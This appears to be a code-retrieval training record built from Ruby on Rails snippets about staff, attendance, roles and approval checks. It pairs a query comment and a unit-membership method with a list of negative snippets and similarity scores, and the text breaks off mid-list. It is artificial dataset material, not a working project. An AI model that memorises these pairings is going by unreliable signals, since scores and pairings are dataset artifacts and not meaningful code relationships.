"def index\r\n\r\n @username = session[:username]\r\n\r\n @this_staff_member = Certifier.where(:certifier_id => params[:certifier_id]).first\r\n\r\n @student_visits = StudentVisit.where(created_at: Time.parse(\"8:00am CST\")..Time.parse(\"11:30pm CST\")).where(:isSignedin => true).order(:created_at => :desc)\r\n #@student_visits_count = StudentVisit.where(created_at: Time.parse(\"8:00am\")..Time.parse(\"11:30pm\")).where(:isSignedin => true).count\r\n @current_staff = Certifier.where(:IsAvailable => true)\r\n\r\n @all_staff = Certifier.all\r\n end",
"def valid_principals; end",
"def user_authentication\n end",
"def user_verified=(_arg0); end",
"def show\n @assignment = @school.assignments.find(params[:id])\n @grade = @assignment.grades.where(\"user_id = ?\",current_user.id).first\n @checker = User.find(@grade.staff_id) if @grade and @grade.staff_id\n respond_to do |format|\n format.html\n end\n end",
"def create\n if !current_user.taught_courses.include? Course.find(params[:course_id])\n redirect_to root_path\n else\n @attendance = Attendance.new(attendance_params)\n set_password\n\n respond_to do |format|\n if @attendance.save\n format.html { redirect_to @attendance }\n format.json { render :show, status: :created, location: @attendance }\n else\n format.html { render :new }\n format.json { render json: @attendance.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def create\n @attendances = Attendance.new(user_id: current_user.id, event_id: params[:event_id])\n\n if Attendance.find_by(event_id: params[:event_id]).nil?\n redirect_to event_path(params[:event_id]) if @attendances.save\n elsif current_user.id == Attendance.find_by(event_id: params[:event_id]).user_id\n redirect_to event_path(params[:event_id])\n flash.alert = 'You are currently in this event'\n\n elsif @attendances.save\n redirect_to event_path(params[:event_id])\n\n end\n end",
"def employ_staff(user, role)\n old_role = unit_roles.where(\"user_id=:user_id\", user_id: user.id).first\n return old_role if not old_role.nil?\n\n if (role != Role.student) && user.has_tutor_capability?\n new_staff = UnitRole.new\n new_staff.user_id = user.id\n new_staff.unit_id = id\n new_staff.role_id = role.id\n new_staff.save!\n new_staff\n end\n end",
"def staff?\n admin || moderator\n end",
"def show\n authorize @institute\n @admins = User.where(role:3,institute_id: @institute.id)\n @students = User.where(role:1,institute_id: @institute.id)\n end",
"def new_flight_record\n return unless has_permission :can_do_billing\n @page_title = 'New Flight Record Sheet'\n \n @users = User.find(:all,:conditions=>['account_suspended = false'])\n @instructors = Group.users_in_group('instructor')\n former_instructors = Group.users_in_group('former_instructor')\n former_instructors.each{|i|\n if not @instructors.include?(i)\n @instructors << i\n end\n }\n \n @aircrafts = Aircraft.find(:all,:conditions=>['deleted = false'])\nend",
"def permissions = {}",
"def attendance_params\n params.permit(:id, :password, :open, :course_id, :uid, :present)\n end",
"def event_entry\n unless @user.eql?('cchdo_admin')\n redirect_to :controller => '/staff', :action => 'index'\n end\n if user = STAFF[User.find(session[:user]).username]\n (first, last) = user.split(' ')\n else\n first, last = 'Unknown', 'user'\n end\n @event = Event.new\n render :partial => \"event_entry\"\n end",
"def staff\n staff = self.users.where(\"participants.role_id < 4\").all\n return staff\n end",
"def is_on_staff\n self.teams\n end",
"def show\n @weeklytimetable = Weeklytimetable.find(params[:id])\n\n common_subjects = [\"Sains Perubatan Asas\", \"Anatomi & Fisiologi\", \"Sains Tingkahlaku\", \"Komunikasi & Sains Pengurusan\"]\n @common_subject_lecturers_ids = Staff.find(:all, :joins=>:position, :conditions=>['unit IN(?)', common_subjects]).map(&:id)\n current_roles = Role.find(:all, :joins=>:logins, :conditions=>['logins.id=?', Login.current_login.id]).map(&:authname)\n @is_admin=true if current_roles.include?(\"administration\") || current_roles.include?(\"weeklytimetables_module_admin\") || current_roles.include?(\"weeklytimetables_module_viewer\") || current_roles.include?(\"weeklytimetables_module_user\")\n @is_common_lecturer=true if @common_subject_lecturers_ids.include?(Login.current_login.staff_id)\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @weeklytimetable }\n end\n end"
] |
[
"0.6412877",
"0.6012213",
"0.5993954",
"0.5972326",
"0.5841609",
"0.5827434",
"0.5814818",
"0.5792963",
"0.57737017",
"0.5714488",
"0.5711477",
"0.56935674",
"0.566619",
"0.56576663",
"0.5624784",
"0.56152487",
"0.5601437",
"0.5599299",
"0.5570371",
"0.55095106",
"0.5501692",
"0.5485408",
"0.54747224",
"0.5468938",
"0.5452155",
"0.5447782",
"0.544241",
"0.5426332",
"0.5422204",
"0.54174155",
"0.540212",
"0.5381516",
"0.53801143",
"0.53686947",
"0.5365396",
"0.53649706",
"0.53573525",
"0.53459823",
"0.5333872",
"0.53294045",
"0.5320192",
"0.53156734",
"0.53101385",
"0.53101385",
"0.5300203",
"0.5291488",
"0.52907664",
"0.52904993",
"0.5284307",
"0.52842516",
"0.52614665",
"0.5258769",
"0.5258547",
"0.525011",
"0.5245886",
"0.524318",
"0.52429426",
"0.52373135",
"0.523136",
"0.523136",
"0.52294",
"0.5226185",
"0.5224523",
"0.52236164",
"0.5218673",
"0.5216183",
"0.52146655",
"0.5206125",
"0.5206125",
"0.51944816",
"0.5194041",
"0.51914847",
"0.5190503",
"0.51888955",
"0.5188421",
"0.51838166",
"0.5177703",
"0.5177142",
"0.5175519",
"0.5172152",
"0.51625264",
"0.51624876",
"0.5161",
"0.51593703",
"0.51481146",
"0.514396",
"0.5143061",
"0.51359147",
"0.51345295",
"0.513119",
"0.51302785",
"0.5129111",
"0.5128291",
"0.5127897",
"0.5127282",
"0.51261365",
"0.5123304",
"0.5120394",
"0.51191264",
"0.51185125",
"0.5115891"
] |
0.0
|
-1
|
Use in Ptdo(for use in auth_rules & Edit pages (approve)) start
|
def unit_members#(current_unit, current_staff, current_roles)
#Academicians & Mgmt staff : "Teknologi Maklumat", "Perpustakaan", "Kewangan & Akaun", "Sumber Manusia","logistik", "perkhidmatan" ETC.. - by default staff with the same unit in Position will become unit members, whereby Ketua Unit='unit_leader' role & Ketua Program='programme_manager' role.
#Exceptional for - "Kejuruteraan", "Pentadbiran Am", "Perhotelan", "Aset & Stor" (subunit of Pentadbiran), Ketua Unit='unit_leader' with unit in Position="Pentadbiran" Note: whoever within these unit if wrongly assigned as 'unit_leader' will also hv access for all ptdos on these unit staff
current_staff=staff
exist_unit_of_staff_in_position = Position.find(:all, :conditions => ['unit is not null and staff_id is not null']).map(&:staff_id).uniq
if exist_unit_of_staff_in_position.include?(current_staff)
current_unit=staff.position.unit #staff.positions.first.unit
#replace current_unit value if academician also a Unit Leader (23)
#current_roles=User.where(userable_id: userable_id).first.roles.map(&:name) ##"Unit Leader" #userable.roles.map(&:role_id)
current_roles=roles.map(&:name)
current_unit=unit_lead_by_academician if current_roles.include?("Unit Leader") && Programme.roots.map(&:name).include?(current_unit)
if current_unit=="Pentadbiran"
unit_members = Position.find(:all, :conditions => ['unit=? OR unit=? OR unit=? OR unit=?', "Kejuruteraan", "Pentadbiran Am", "Perhotelan", "Aset & Stor"]).map(&:staff_id).uniq-[nil]+Position.find(:all, :conditions => ['unit=?', current_unit]).map(&:staff_id).uniq-[nil]
elsif ["Teknologi Maklumat", "Pusat Sumber", "Kewangan & Akaun", "Sumber Manusia"].include?(current_unit) || Programme.roots.map(&:name).include?(current_unit)
unit_members = Position.find(:all, :conditions => ['unit=?', current_unit]).map(&:staff_id).uniq-[nil]
else #logistik & perkhidmatan inc."Unit Perkhidmatan diswastakan / Logistik" or other UNIT just in case - change of unit name, eg. Perpustakaan renamed as Pusat Sumber
unit_members = Position.find(:all, :conditions => ['unit ILIKE(?)', "%#{current_unit}%"]).map(&:staff_id).uniq-[nil]
end
else
unit_members = []#Position.find(:all, :conditions=>['unit=?', 'Teknologi Maklumat']).map(&:staff_id).uniq-[nil]
end
unit_members #collection of staff_id (member of a unit/dept) - use in model/user.rb (for auth_rules)
#where('staff_id IN(?)', unit_members) ##use in ptdo.rb (controller - index)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def access_control\n \n end",
"def authorization; end",
"def allow_in_post_mortem; end",
"def admin_logic\n end",
"def pre_authorize_cb=(_arg0); end",
"def pre_authorize_cb; end",
"def policies; end",
"def active_for_authentication? \n \tsuper && approved?\n \t\n\tend",
"def allow_in_post_mortem=(_arg0); end",
"def authorized_for_making_adj\n @tournament = Tournament.find(params[:id]);\n hasAuthority = (current_user.is_a_tabbie?(@tournament) ||\n \n ((@tournament.tournament_setting[:registration] == \n GlobalConstants::SETTINGS_VALUES[:registration][\"Completely open\"]) &&\n (safe_params[:email] == current_user.email)) ||\n \n (current_user.has_exec_position?([:president, :externals]) &&\n (@tournament.tournament_setting[:registration] != \n GlobalConstants::SETTINGS_VALUES[:registration][\"Manual\"]) &&\n !@tournament.has_maxed_out_adjs(current_user.institution)));\n redirect_to root_path unless hasAuthority;\n end",
"def before_create()\n end\n \n def before_update()\n end\n \n def before_destroy()\n end\n \n ##################################################################\n # execute the rule\n # this rule does nothing\n def process(process_id, plan, data)\n RulesEngine::Process.auditor.audit(process_id, \"Inside Rule #{title}\", RulesEngine::Process::AUDIT_INFO) \n # RulesEngine::Rule::Outcome.new(RulesEngine::Rule::Outcome::STOP_SUCCESS)\n # RulesEngine::Rule::Outcome.new(RulesEngine::Rule::Outcome::STOP_FAILURE)\n # RulesEngine::Rule::Outcome.new(RulesEngine::Rule::Outcome::START_WORKFLOW, 'next_workflow')\n RulesEngine::Rule::Outcome.new(RulesEngine::Rule::Outcome::NEXT)\n end \n end",
"def require_correct_petsitter\n\n\t # because this controller inherits/subclasses from app controller and i have in app controller defined current_petsitter means i can use that method here( 3 CHEERS FOR INHERITANCE!!!!!!! )\n\n\t @petsitter = Petsitter.find( params[:id] )\n\n\t unless current_petsitter == @petsitter\n\n\t # rememeber we can't redirect to sign in page because they bypassed the first gate which means they are signed in so no need to give them sign in page - also we don't warn them because it means they knew what they were doing - TRYING TO BREAK INTO S/ONE ELSE'S ACCOUNT AND CHANGE STUFF\n\t redirect_to root_path\n\t end\n\n\t \n\t end",
"def auth\n end",
"def auth\n end",
"def authenticate_admin_hr_pm\n unless current_user && (get_loging_permission ==1 || get_loging_permission ==2 || get_loging_permission ==3)\n redirect_to sign_in_path\n return \n end\n end",
"def access_inlcude_member\n @post = Post.find params[:id]\n\n unless @post.community_id == 0 \n @community = Community.find_by_id @post.community_id \n if @community.status.to_s == \"private\"\n if validate_member_for(@community,@post)\n #if true then redirect\n redirect_to RAILS_URL\n end\n end \n end\n end",
"def authorize_change\n if forum?\n authorized = current_person?(@post.person) || current_person.admin?\n redirect_to home_url unless authorized\n elsif blog?\n authorized = current_person?(@blog.person) && valid_post?\n redirect_to home_url unless authorized\n end\n end",
"def auth_param; end",
"def before_action \n end",
"def set_rules!(params)\n # implement the rules parent has set while manually approving the purchase\n # params should contain a normal hash and for that \n end",
"def user_verification; end",
"def user_verification=(_arg0); end",
"def policy; end",
"def require_petsitter_signin\n\n # how we can tell if a user who is a petsitter is signed in is by checking current_petsitter method which would either return nil or a petsitter object\n\n # we want to redirect to sign in page unless there is a petsitter object(meaning a petsitter is signed in)\n unless current_petsitter\n\n # if we enter inside this block it means there is no signed in user and the action that was to be run whether edit or update wont be run because we will redirect\n redirect_to new_session_path , alert: \"Please sign in first!!\"\n\n end\n\n end",
"def check_if_user_access\n if current_user && current_user.admin?\n @all_orders = Order.all\n @orders = @all_orders.paginate(page: params[:page])\n elsif current_user && current_user.role == \"Partner\"\n redirect_to root_path\n flash[:danger] = I18n.t 'flash.your_company_not_verified'\n elsif current_user && current_user.role == \"Client\"\n @all_orders = @user_company.orders\n @orders = @all_orders.paginate(page: params[:page])\n else\n end\n end",
"def login_instructions\n end",
"def check_if_needs_approval\r\n self.suspended_at = Time.now if Setting.user_signup == :needs_approval && !self.admin\r\n end",
"def authorize\n end",
"def authorize\n end",
"def initialize(user)\n\n # Anyone\n allow :sessions, [:new, :create, :destroy]\n allow :circles, :index\n allow :decisions, [:all, :review]\n allow :circle_decisions, :index\n allow :password_resets, [:index, :create, :new, :edit, :update, :show, :destroy]\n\n # If They're logged in\n if user\n allow :users, :show do |user_record|\n user_record == user\n end\n\n # If they're logged in as a super\n if super?(user)\n allow :users, [:index]\n allow [:users, :decisions], [:new, :create, :edit, :update, :destroy]\n allow :circles, [:new, :create, :edit, :update]\n allow :circles, :destroy do |circle|\n circle_has_no_decisions?(circle)\n end\n\n # If they're logged in as a leader\n else\n allow :decisions, :new\n allow :decisions, :create # TODO: Find way to prevent users unassociated with the decisions circles to create decisions. For now, the view only allows them to select associated circles\n allow :decisions, [:edit, :update, :destroy] do |decision|\n circles_user_involved_in = []\n Circle.all.each do |circle|\n role = Role.find_by(circle: circle, user: user)\n unless role.role_type == \"none\"\n circles_user_involved_in.push(circle)\n end\n end\n decision.circle.in?(circles_user_involved_in)\n end\n allow :users, [:edit, :update] do |user_record|\n user_record == user\n end\n allow :users, :destroy do |user_record|\n user_record == user\n end\n end\n end\n end",
"def verifica_perfil\n @user = User.find(session[:login])\n\t\n \tbegin\n \t@auth_user = User.find(params[:id])\n \tif @user.perfil != 1\n \t\tif action_name != 'ver'\n \t\t\tredirect_to(bot_path)\n \t\telse\tif @auth_user != @user\n \t\t\tredirect_to(bot_path)\t\n \t\t\tend\t\n \t\tend\t\t\n \tend\n \trescue\n \t\tif @user.perfil != 1\n \t\t\tredirect_to(bot_path)\n \t\tend\n \tend\n end",
"def manage\n\n end",
"def on_pre_request( request ); end",
"def set_request_start\n # byepassing to active admin's own\n # authentication process\n return true if request_from_admin?\n\n super\n end",
"def authorization_mode; end",
"def permitted?; end",
"def new_trade_environment_setup\n\treturn if authorise_for_web('trade_environment_setup','trade_env_setup')== false\n\t\n is_view = nil\n if session[:current_prod_schedule]== nil\n msg = \"You must first select or set a 'current' production schedule from the 'production schedules' tab\"\n @freeze_flash = true\n redirect_to_index(msg)\n return\n else\n session[:current_prod_schedule].reload\n is_view = (session[:current_prod_schedule].production_schedule_status_code == \"closed\")\n if is_view\n @freeze_flash = true\n redirect_to_index(\"The schedule has been closed.\")\n return\n end\n end\n\t\n\t\n\t\trender_new_trade_environment_setup\nend",
"def gringotts_protego!\n # check to see if we should be protecting in the first place\n # maybe not, depending on config/gringotts.yml and user status\n if gringotts_protego?\n # find or create a vault for this owner\n @gringotts = Gringotts::Vault.for_owner(gringotts_owner)\n \n # what we do now is based on what the user has done before in the past...\n \n if @gringotts.show_prompt?\n # 1) owner is a first-timer, and not know about this 2FA -- show prompt\n gringotts_redirect_to gringotts_engine.prompt_path\n elsif @gringotts.confirmed?\n # 2) owner has opted-in -- require verification\n if @gringotts.verified?(session)\n # already verified -- do not do anything\n else\n # make them verify\n gringotts_redirect_to gringotts_engine.verification_path\n end\n else\n # 3) owner has declined 2FA -- not do anything\n end\n else\n # if owner not currently defined, assume is an anonymous situation\n # therefore, no need to bother them\n end\n end",
"def admin_enable_otp\n user = User.find(params[:id])\n authorize! :edit, @user #prevent other users from enabling OTP on another user.\n user.otp_secret = User.generate_otp_secret\n user.otp_required_for_login = true\n user.save!\n redirect_back(fallback_location: '/')\n end",
"def new_direct_sales_tm\n return if authorise_for_web(program_name?,'create') == false\n render_new_direct_sales_tm\n end",
"def setup #Because setup is called by a before_filter, the authorization with be checked every time a vote is submitted.\n @topic = Topic.find(params[:topic_id])\n @post = @topic.posts.find(params[:post_id])\n authorize! :create, Vote, message: \"You need to be a user to do that.\" #the setup method has authorize so that only Bloccit members can vote\n\n @vote = @post.votes.where(user_id: current_user.id).first\n end",
"def index\n if admin_signed_in? && current_admin.company? \n @admin = current_admin\n @company = @admin.company\n @timesheets = @company.timesheets.order(updated_at: :desc)\n @orders = @company.orders\n @with_active_jobs = @orders.with_active_jobs\n authorize @orders\n elsif user_signed_in? && current_user.not_an_employee?\n @current_user = current_user if current_user.present?\n @company = @current_user.company\n @orders = @company.orders\n @with_active_jobs = @orders.with_active_jobs\n @timesheets = @company.timesheets.order(updated_at: :desc)\n authorize @orders\n end\n \n \n \n\n \n end",
"def authorize_planner\n\n can [:read], Organization do |organization|\n curr_account == organization.account\n end\n can [:adopt, :search], Employee\n can [:read], Employee do |employee|\n employee.organizations.include?(curr_organization)\n end\n can [:update, :create], Employee do |employee|\n (\n !employee.owner? || curr_employee == employee\n ) &&\n # organization_id is a virtual attribute of employee and is used to\n # create the membership for the current organization after create of the\n # employee. So the following line makes sure that memberships for orgs\n # of other account can not be created.\n (\n employee.organization_id.nil? ||\n employee.organization_id.to_i == curr_organization.id\n ) &&\n (\n employee.account.nil? ||\n curr_account == employee.account\n )\n end\n can :update_role, Employee do |employee|\n curr_employee != employee && # no one can update her/his own role\n curr_organization.employees.include?(employee)\n end\n can :manage, Plan do |plan|\n curr_organization == plan.organization\n end\n can :manage, Scheduling do |scheduling|\n curr_organization == scheduling.plan.organization &&\n ( !scheduling.represents_unavailability? || self_planning?(scheduling) )\n end\n can :manage, Shift do |shift|\n curr_organization == shift.plan_template.organization\n end\n can :manage, CopyWeek do |copy_week|\n curr_organization == copy_week.plan.organization\n end\n can :manage, ApplyPlanTemplate do |apply_plan_template|\n curr_organization == apply_plan_template.plan.organization\n end\n can :manage, Team do |team|\n curr_organization == team.organization\n end\n can :manage, Qualification do |qualification|\n curr_account == qualification.account\n end\n can :manage, PlanTemplate do |plan_template|\n curr_organization == plan_template.organization\n end\n can :manage, TeamMerge do |team_merge|\n (team_merge.team_id.blank? || curr_organization == team_merge.team.try(:organization)) &&\n (team_merge.other_team_id.blank? || curr_organization == team_merge.other_team.try(:organization)) &&\n (team_merge.new_team_id.blank? || curr_organization == team_merge.new_team.try(:organization))\n end\n can [:read, :create], Post do |post|\n curr_organization == post.blog.organization\n end\n can [:read, :create], Comment do |comment|\n commentable = comment.commentable\n if commentable.respond_to?(:blog) # comment on a post\n curr_organization == commentable.blog.organization\n elsif commentable.respond_to?(:plan) # comment on a scheduling\n curr_organization == commentable.plan.organization\n else\n false\n end\n end\n can :manage, Invitation do |invitation|\n curr_account == invitation.employee.account &&\n curr_organization == invitation.organization\n end\n can :manage, Milestone do |milestone|\n curr_organization == milestone.plan.organization\n end\n can :manage, Task do |task|\n curr_organization == task.milestone.plan.organization\n end\n\n can :show, Conflict do |conflict|\n curr_organization == conflict.provoker.plan.organization\n end\n\n # For reports we only check the base on which schedulings will be found. For\n # example we do not need to test if the plan_ids submitted belong to the\n # base.\n # Please see the report model for how records are fetched. The base is\n # always the account and one or more organizations within the account.\n # If the user would submit foreign plan_ids for example, this will not do\n # any harm as the result simply will be empty.\n can :create, Report do |report|\n # A planner is only able to see a report within an organization.\n # The filter for organizations will no be shown on the report page of the\n # organization. Therefore the organization_ids of the report should only\n # include the id of the current organization.\n org_ids = report.organization_ids\n org_ids.size == 1 &&\n org_ids.first.to_i == curr_organization.id\n end\n\n authorize_owner_and_planner\n authorize_employee\n end",
"def mission(page)\n\tend",
"def approve\n #get profile, and profile owner\n presenter = find_presenter\n profile = presenter.presenter_profile\n \n #check status of profile\n #if waiting for admin approval\n if profile.status == \"pending_admin\"\n #check if logged in user is an admin\n if current_user.user_type == \"admin\"\n if profile.approve\n flash[:info] = \"This profile has been approved\"\n Notification.send_message(presenter.user, \"Your profile changes have been approved.\", presenter_profile_path(presenter), :system)\n redirect_to presenter_profile_path(presenter)\n else\n flash[:danger] = \"Something went wrong\"\n redirect_to presenter_profile_path(presenter)\n end\n \n else #Incorrect user\n flash[:info] = \"Profile changes are waiting for approval from admin.\"\n redirect_to root_url\n end\n\n #if waiting for profile owner approval\n elsif profile.status == \"pending_presenter\"\n #check if logged in presenter is profile owner\n if presenter == current_user.presenter\n if profile.approve\n flash[:info] = \"Your profile has been approved\"\n redirect_to presenter_profile_path(presenter)\n else\n flash[:danger] = \"Something went wrong\"\n redirect_to presenter_profile_path(presenter)\n end\n else #incorrect user\n flash[:info] = \"Profile changes are waiting approval from presenter\"\n redirect_to presenter_profile_path(presenter)\n end\n\n else #profile is already approved\n flash[:warning] = \"Profile is already approved\"\n redirect_to root_url\n end\n end",
"def personal_page?\n return false unless current_user\n return true if params[:owner_id].to_i == current_user.id\n return true if @user && current_user == @user\n return true if @quest && current_user.owns?(@quest)\n return true if @offer && current_user.owns?(@offer)\n \n false\n end",
"def actions; end",
"def before_validation() \n #logger.info \"Tend: #{tend} // class: #{tend.class}\"\n self.published = true unless attribute_present?(\"published\") # pubblicato: yes\n self.starred = false unless attribute_present?(\"starred\") # starred: no\n #ric_change_parameter('starred',false)\n #self.birthday = Date.civil(1901,1,1) unless attribute_present?(\"birthday\") # compleanno 1gen1901\n self.nickname = _fake_nickname unless attribute_present?(\"nickname\") # i.e. 'rcarlesso'\n self.created_by ||= current_user.name rescue \"ModelCreatedBy: #{$!}\"\n self.updated_by = current_user.name rescue \"Probably Updated from shell and not from web: ''#{$!}''\"\n if (attribute_present?(\"organisation\") && ! attribute_present?(\"work_venue_id\") ) # --> autocreate workplace obj from string! Cool!\n self.work_venue = Venue.find_or_create_by_name(organisation.strip) rescue nil\n end\n if (attribute_present?(\"location\") && ! attribute_present?(\"venue_id\") ) # --> autocreate workplace obj from string! Cool!\n self.venue = Venue.find_or_create_by_name(location.strip) rescue nil\n end\n self.relevance = 42 unless attribute_present?(\"relevance\") # rilevanza 42\n # NON HO ACCESSO AL CURRENTUSER DA QUI! SOLO VIEW E CONTROLLER!!!\n #self.feed = \"Person:_:BeforeValidation(): person changed by ''#{@current_user rescue 'BOH'}'' on #{Time.now}\" unless attribute_present?(\"feed\") \n #self.nickname = self.nickname.nicknamize rescue nil # minuscolizza e toglie spazi\n self.email = self.email.strip if attribute_present?(\"email\")\n end",
"def allow_in_control=(_arg0); end",
"def before_save_goal\n\t\t# \n\t\tif self.current_user_role == 'sm'\n\t\t\traise \"Super Manager don't need goal\"\n\t end\n\tend",
"def admin!\r\n check_account_type(3)\r\nend",
"def peacekeeper_quest; end",
"def activate\n Layout.send :is_site_scoped, :shareable => true\n Snippet.send :is_site_scoped, :shareable => true\n User.send :is_site_scoped, :shareable => true\n ApplicationHelper.send :include, ScopedHelper\n \n unless admin.users.edit.form && admin.users.edit.form.include?('choose_site')\n admin.users.edit.add :form, \"choose_site\", :after => \"edit_roles\" \n admin.layouts.edit.add :form, \"choose_site\", :before => \"edit_timestamp\" \n admin.snippets.edit.add :form, \"choose_site\", :before => \"edit_filter\" \n end\n end",
"def edit_before_tournament_starts\n team = Team.find(params[:id])\n redirect_to root_path unless \n (team.users_ids.include?(current_user.id) && \n (team.tournament.status == GlobalConstants::TOURNAMENT_STATUS[:future]))\n end",
"def update_status\n do_load_resource\n do_authorize_instance\n\n update_status_user_check\n end",
"def edit_start_time\n authorize @event\n end",
"def setup_preapproval\n api.execute :Preapproval, preapproval_payment_options\nend",
"def active_for_authentication? \n super && is_approved? \n end",
"def authorize_admin\n redirect_to :login unless current_user.permission.manage_app ||\n current_user.permission.manage_attrs ||\n current_user.permission.manage_achievement_categories ||\n current_user.permission.manage_talent_trees ||\n current_user.permission.manage_talents ||\n current_user.permission.manage_quests ||\n current_user.permission.manage_skills ||\n current_user.permission.manage_achievements ||\n current_user.permission.manage_items ||\n current_user.permission.manage_titles\n end",
"def approve_setup_fee_collection( current_user )\n self.is_setup_fee_collection_approved = true \n self.setup_fee_collection_approver_id = current_user.id \n self.save\n \n # create all those payment payable : loan disbursement \n end",
"def new_load_voyage\n return if authorise_for_web(program_name?,'create')== false\n render_new_load_voyage\n end",
"def check_valid_autherization \n\t\tredirect_to profile_users_path and return if current_user.has_role?('customer')\n\t\tredirect_to staffs_profile_users_path and return if current_user.has_role?('staff')\n\t\t \n\tend",
"def authorization_mode=(mode); end",
"def platinum\n authorize! :view, :platinum, :message => 'Access limited to teachers only.'\n end",
"def set_pstaff\n # if(current_user.phase1 == false && current_user.phase2 == false && current_user.phase3 == false)\n @pstaff = Pstaff.find(params[:id])\n # else\n # redirect_to new_user_session_path\n # end\n \n end",
"def run_filters\n set_user\n authorize\n end",
"def index\n if can? :update, TamPolicy\n add_breadcrumb 'Group Management', rule_set_tam_policies_path(@rule_set_type)\n\n # if no param given, default to first policy (most recent)\n if params[:fy_year]\n @tam_policy = TamPolicy.find_by(fy_year: params[:fy_year])\n else\n @tam_policy = TamPolicy.first\n end\n\n elsif can? :lead, TamGroup\n redirect_to tam_groups_rule_set_tam_policies_path(@rule_set_type)\n else\n redirect_to tam_metrics_rule_set_tam_policies_path(@rule_set_type)\n end\n end",
"def edit_req_usecase\n @user=find_user\n if !@user.nil?\n\n status=@use_case.status\n if ((status!=\"Approved\" and params[:use_case][:status]==\"Approved\" and (@user.privilige==\"Admin\" or @user.privilige==\"Read/Write/Approve\" or @user.privilige==\"Approve\")) or (status!=\"Approved\" and params[:use_case][:status]!=\"Approved\" and (@user.privilige!=\"Read\")) or (status==\"Approved\" and @user.privilige==\"Admin\")or (status==\"Approved\" and params[:use_case][:status]==\"Approved\" and !params[:use_case][:delivered].empty? and @user.privilige!=\"Read\"))\n @use_case.update_attributes(params[:use_case])\n\n if !params[:use_case][:status].nil?\n if (status!=\"Approved\" and params[:use_case][:status]==\"Approved\")\n\n if !current_user.nil?\n first_name=@use_case.find_user_first_name(@user.id)\n UseCase.notification_approved(current_user.id, @use_case.project_id, @use_case, first_name)\n else\n first_name=@use_case.find_member_first_name(@user.id)\n UseCase.notification_approved(@user.user_id, @use_case.project_id, @use_case, first_name)\n end\n elsif (status!=\"For Review\" and params[:use_case][:status]==\"For Review\")\n\n if !current_user.nil?\n first_name=@use_case.find_user_first_name(current_user.id)\n UseCase.notification_reviewed(current_user.id, @use_case.project_id, @use_case, first_name)\n else\n first_name=@use_case.find_member_first_name(@user.id)\n UseCase.notification_reviewed(@user.user_id, @use_case.project_id, @use_case, first_name)\n end\n elsif (status==\"Approved\" and params[:use_case][:status]!=\"Approved\")\n\n if !current_user.nil?\n first_name=@use_case.find_user_first_name(current_user.id)\n UseCase.notification_no_approved(current_user.id, @use_case.project_id, @use_case, first_name)\n else\n first_name=@use_case.find_member_first_name(@user.id)\n UseCase.notification_no_approved(@user.user_id, @use_case.project_id, @use_case, first_name)\n end\n end\n end\n respond_to do |format|\n assign_project_use\n @attr=Attribute.find_by_project_id(session[:project_id])\n @requirement=Requirement.find(session[:req_id])\n if !@requirement.nil?\n format.html { redirect_to show_usecases_url(@requirement.id) }\n else\n format.html { redirect_to requirements_path }\n end\n end\n\n else\n assign_project_use\n @attr=Attribute.find_by_project_id(session[:project_id])\n flash[:notice]= t(:use_case_no_approve)\n redirect_to :back\n end\n else\n redirect_to sign_in_url\n end\n end",
"def before_tours; end",
"def password\n if @useredit=User.find_by_wedgetail(params[:wedgetail],:order=>\"created_at DESC\")\n # @useredit is the patient, if these is one\n authorize_only (:patient) {@useredit.wedgetail == @user.wedgetail} # everyone can only edit themselves\n authorize_only (:user) {@useredit.wedgetail == @user.wedgetail}\n authorize_only (:leader) {@useredit.wedgetail == @user.wedgetail}\n authorize :admin # apart from admin\n else\n if(@user.role==5)\n flash[:notice]=\"You do not have authority to access that page\"\n redirect_to(patient_path(@user.wedgetail))\n else\n flash[:notice]=\"User not found\"\n redirect_to :controller => 'patients',:action =>'index'\n end\n end\n if @useredit.role==5\n @useredit.access=1 if @useredit.access==nil or @useredit.access==\"0\"\n @currentlist=User.find(:all,:conditions=>[\"firewalls.patient_wedgetail='#{@useredit.wedgetail}'\"],:joins=>\"inner join firewalls on users.wedgetail=firewalls.user_wedgetail\")\n else\n @currentlist=[]\n end\n @listname=\"Access List\"\n @access_name=\"me\"\n if (@user.role!=5)\n @access_name=\"patient themselves\"\n end\n end",
"def atest_ID_25891_scheduled_posts_02\n login $user_1_email, $master_password\n go_to_edit_profile_page\n $profiles_your_posts.click\n sleep 5\n go_to_scheduled_tab_on_your_post_page\n verify_text \"Your Posts\",\"Current Drafts\", \"Scheduled Posts\", \"Published Posts\", \"Scheduled\"\n assert $profile_edit_post.exists?\n assert $profile_delete.exists?\n assert $count_of_scheduled.exists?\n end",
"def require_admin \n if Affiliate.find(session[:id]).email != \"tech@trunkclub.com\"\n redirect_to root_url, :notice => 'Must be admin.'\n end\n end",
"def before_dispatch(env); end",
"def authorization(*args, &block); end",
"def restrictToAdmin! ; redirect to('/login'),303 unless admin? ; end",
"def user_pa\n @user = User.find(params[:id])\n\n @approve_notifications = current_user.notifications.where(notification_type: [\"approve\", \"submit\"], is_seen: false).count\n @reject_notifications = current_user.notifications.where(notification_type: [\"reject\", \"return\"], is_seen: false).count\n @comment_notifications = current_user.notifications.where(notification_type: \"comment\", is_seen: false).count\n\n if check_higher_position(@user, current_user)\n if @user.is_manager\n @departments = Department.where(manager_id: @user.id)\n end\n\n if @user.is_hr || @user.is_bod\n @departments = Department.all\n end\n\n if @user.is_team_leader\n @departments = @user.departments\n end\n\n create_slot_assess_for_user(@user.id)\n \n\n @competencies = Competency.order(\"id\")\n @levels = Level.order(\"id\")\n @slots = Slot.order(\"id\")\n\n @slot_assesses = @user.slot_assesses.order(\"id\")\n\n @other_subjects = OtherSubject.order(\"id\")\n @other_subject_assesses = @user.other_subject_assesses.order(\"id\")\n\n if @user.new_approved\n calculate_title(@user.id)\n @user.update_attributes(new_approved: false)\n end\n\n if @user.current_title.rank_id\n @current_title = Rank.find(@user.current_title.rank_id).title.name\n else\n @current_title = \"N/A\"\n end\n\n else\n sign_out @user\n flash[:alert] = \"Permission is denied\"\n redirect_to new_user_session_path\n end\n end",
"def index\n @esps = policy_scope(@shop.esps)\n authorize @esps\n #binding.pry\n #binding.pry\n end",
"def approve_user\n # set the enabled flag to true for the user\n # send out approval notification\n end",
